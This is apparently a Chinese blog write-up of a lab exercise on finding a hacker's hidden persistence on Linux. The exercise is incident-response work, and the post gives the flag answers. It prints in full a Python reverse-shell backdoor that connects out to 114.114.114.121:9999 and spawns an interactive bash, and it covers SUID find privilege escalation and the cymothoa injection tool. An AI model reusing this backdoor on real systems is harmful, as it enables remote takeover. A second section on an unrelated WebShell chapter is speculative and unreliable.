玄机靶场 - 第三章 权限维持-linux权限维持-隐藏

靶场地址:第三章 权限维持-linux权限维持-隐藏 · 玄机 - EDISEC

本次靶场要求提供的flag如下:

  1. 黑客隐藏的隐藏的文件 完整路径md5
  2. 黑客隐藏的文件反弹shell的ip+端口 {ip:port}
  3. 黑客提权所用的命令 完整路径的md5 flag{md5}
  4. 黑客尝试注入恶意代码的工具完整路径md5
  5. 使用命令运行 ./x.xx 执行该文件 将查询的 Exec****** 值 作为flag提交 flag{/xxx/xxx/xxx}

Flag1

黑客隐藏的隐藏的文件 完整路径md5

惯例先看下开了哪些端口和服务,可以看到开了apache2和mysql,和上一题有点类似

netstat -antlp|more

image.png

黑客经常会将隐藏文件放在/tmp目录下,因此先去这个目录下找,发现有一个.temp文件

在这里插入图片描述

进入到/tmp目录,看到目录下面只有一个1.py是拥有可执行权限的,查看代码确定是后门文件,提取该文件的完整路径,文件内容后面会分析

/tmp/.temp/libprocesshider/1.py

image.png

按题目要求对路径进行md5加密,得到flag

flag{109ccb5768c70638e24fb46ee7957e37}

image.png

Flag2

黑客隐藏的文件反弹shell的ip+端口 {ip:port}

上一步得知了隐藏目录下有可执行文件1.py,在这个文件中我们就可以看到反弹shell的IP和端口,获取flag

flag{114.114.114.121:9999}

image.png

对上面代码进行简要分析,可以分为以下几段:

  1. 指定解析器

指定使用 Python 3 解释器来执行该脚本,并导入相应的模块

#!/usr/bin/python3
import socket,subprocess,os,sys,time  
  1. 创建第一个子进程

这里使用fork()创建一个子进程。如果这是父进程(pidrg > 0),它会立即退出。这是为了在后台运行守护进程,防止阴影进程残留

pidrg = os.fork() 
if pidrg > 0:
    sys.exit(0)
  1. 更改工作目录和会话

将工作目录更改为根目录/,再创建一个新的会话,用于运行守护进程,最后将文件创建掩码设为 0,这允许进程创建的文件具有最大的权限

os.chdir("/")  
os.setsid()  
os.umask(0)  
  1. 创建第二个子进程

另一个fork()调用,再次创建一个子进程。如果这是父进程,同样会退出。这样做的目的是确保没有控制终端。

drgpid = os.fork()  
if drgpid > 0:  
    sys.exit(0)  
  1. 无限循环

进入一个无限循环,持续尝试连接到指定 IP 地址的指定端口,实现后门的持久化

while 1:  
  1. 连接到远程服务器

刷新stdoutstderr,确保输出不会被缓存。同时将标准输出和标准错误输出重定向到 /dev/null,即丢弃所有输出。再创建一个 TCP socket,并尝试连接到 IP 地址114.114.114.121的端口9999,实现反弹shell

try:  
    sys.stdout.flush()  
    sys.stderr.flush()  
    fdreg = open("/dev/null", "w")  
    sys.stdout = fdreg  
    sys.stderr = fdreg  
    sdregs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
    sdregs.connect(("114.114.114.121", 9999))  
  1. 重定向输入输出

使用dup2()函数将标准输入(0)、标准输出(1)和标准错误(2)重定向到网络socket。这允许攻击者通过socket与受害机器直接进行交互

os.dup2(sdregs.fileno(), 0)  
os.dup2(sdregs.fileno(), 1)  
os.dup2(sdregs.fileno(), 2)  
  1. 调用新的 shell

调用一个交互式的 bash shell。执行完后关闭 socket。

p = subprocess.call(["/bin/bash", "-i"])  
sdregs.close()  
  1. 异常处理

捕获并忽略所有异常。这意味着如果连接失败或出现任何错误,脚本将继续循环,不会抛出错误。如果连接失败,等待 2 秒钟后再试

except Exception:  
    pass
time.sleep(2)

从上面代码也可以看出来这是个标准的后门脚本,会创建个子进程不断反弹shell,进行持久化控制

Flag3

黑客提权所用的命令 完整路径的md5 flag{md5}

首先我们要了解下提权中常用的SUID提权的原理:

  • 当一个文件(通常是可执行的二进制文件)设置了 SUID 位时,该文件的所有者(通常是 root 用户)身份会被赋予给通过该文件启动的进程
  • 这意味着,虽然实际运行程序的用户可能是普通用户,但程序将以文件所有者的身份执行

即如果用户执行设置了SUID位的文件,用户通过该程序执行的指令和操作都是以root身份执行

提权搜索设置了SUID位的程序,看到了find指令,find提权也是Linux提权中常用到的,正常find是不会设置SUID位,说明有人对它进行了提权

find / -perm -u=s -type f 2>/dev/null

image.png

查看一下文件权限,可以看到s位的显示,并且对应路径如下

/usr/bin/find

image.png

对该路径进行md5编码,拿到flag

flag{7fd5884f493f4aaf96abee286ee04120}

Flag4

黑客尝试注入恶意代码的工具完整路径md5

隐藏文件通常以.作为文件开头,黑客工具通常也会放在隐藏目录下,首先全局搜索一下隐藏目录或文件

find / -name ".*"

/opt下面发现有一个带有版本号1-beta的目录,而目录名cymothoa是一款可以将shellcode注入到现有进程的后门工具

在这里插入图片描述

进入到这个目录,找到运行程序,得到完整访问路径

/opt/.cymothoa-1-beta/cymothoa

image.png

再对路径进行md5加密得到flag

flag{087c267368ece4fcf422ff733b51aed9}

Flag5

使用命令运行 ./x.xx 执行该文件 将查询的 Exec ****** 值 作为flag提交 flag{/xxx/xxx/xxx}

这道题目说要执行该文件获取执行输出,首先能想到的就是前面题目有关联的两个文件

/tmp/.temp/libprocesshider/1.py
/opt/.cymothoa-1-beta/cymothoa

而根据./x.xx格式猜测对应是1.py,而这个文件我们前面也分析了,是创建子进程实现持续性反弹shell操作,执行后并不会有什么输出,问题在于这个Exec值到底代表什么

另一篇文章玄机——第三章 权限维持-linux权限维持-隐藏 wp-优快云博客中有提到,说Linux系统中的 Exec 相关字段,通常用于查看程序执行时的权限设置,但是我在网上搜了个遍都没搜到这个说法的出处,目前对这个论点存疑,但是文章中提供的flag确实是正确的,我只能说出题人真行,为了提高所谓的“难度”给flag的描述弄得很复杂,难度全在理解出题人的表达上

按文章思路来,执行文件后获取到了Python3对应的权限设置lrwxrwxrwx,但是这个不是答案

python3 /tmp/.temp/libprocesshider/1.py
ls -l /usr/bin/python3

image.png

答案是执行1.py脚本的执行程序的完整路径,还不能是/usr/bin/python3必须是/usr/bin/python3.4,所以为什么是这个答案,这个到底是怎么来的,Exec到底代表什么,有没有大佬能在评论区解答一下

最终提交的flag是

flag{/usr/bin/python3.4}
### 关于玄机靶场第一章 WebShell 查杀应急处理方案 #### 背景介绍 WebShell 是一种通过网页植入恶意脚本的技术,攻击者可以通过它控制服务器并执行任意命令。在 Linux 系统中进行应急响应时,通常需要遵循一系列标准化的操作流程来检测和清除这些威胁[^1]。 #### 应急响应流程概述 应急响应的核心目标是在最短时间内定位问题根源、修复漏洞以及恢复系统的正常运行状态。具体到 WebShell 的查杀工作中,主要包括以下几个方面: - **日志分析**: 对访问日志 (access.log) 和错误日志 (error.log) 进行深入审查,寻找异常请求模式或者非法路径尝试的行为记录。 - **文件完整性检查**: 使用工具如 `AIDE` 或手动对比重要目录下的文件哈希值变化情况,识别被篡改过的文件。 - **权限审计**: 审核网站根目录及其子文件夹内的所有文件权限设置是否合理;特别注意那些具有可写入权限但不应该存在的PHP/ASP等动态页面扩展名文件。 - **网络连接监控**: 利用 netstat 命令查看当前活动中的TCP/IP链接状况,发现可疑的远程主机地址并与之建立联系的过程进一步调查其合法性。 #### 实际案例解析 – 寻找Flag1至Flag4的具体方法 根据已知条件,“Flag1”位于操作过程中某处特定位置,则推测其他三个标志位也可能隐藏在整个排查体系的不同环节之中。以下是针对每一步骤可能藏匿FLAG的地方给出建议性的指导方向: 1. **日志分析阶段**: 如果存在频繁触发报警机制的日志条目, 可能暗示着某个隐蔽入口点的存在形式(比如POST参数中含有base64编码字符串),这或许就是其中一个 FLAG 所指代的内容所在之处。 2. **文件完整性验证期间**: 当某些看似无害却突然出现的新建文件经过MD5校验后显示出差异时,它们极有可能携带额外的信息作为标记之一供参赛选手辨认提取出来形成另一个FLAG组成部分。 3. **权限审核部分**: 发现有违反常规安全策略设定的情况发生——例如普通用户组竟然拥有了读取敏感配置数据的能力等等现象背后往往暗藏着待挖掘的秘密等待我们去揭开面纱从而获得第三个FLAG奖励机会。 4. **最后在网络流量捕捉层面**: 若监测结果显示有规律性向外传输大量加密包体的动作正在进行当中的话,那么解密该部分内容也许就能顺利拿到最后一个FLAG啦! 以上仅为理论上的推断方式仅供参考学习交流用途,请务必按照官方指引完成实际演练任务获取真实成绩哦~ ```bash find /var/www/html -type f \( -name "*.php" -o -name "*.asp*" \) ! -exec test -O {} \; | grep -vE '^\.|^\.$' > suspicious_files.txt ``` 上述代码片段展示了如何利用 find 命令配合逻辑运算符筛选潜在危险的目标集合,并排除掉明显属于管理员自身的正向贡献成果之外的一切干扰项最终导出清单保存成文本文件以便后续逐一核查确认是否存在任何蛛丝马迹指向我们的四个神秘宝藏坐标方位吧!
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值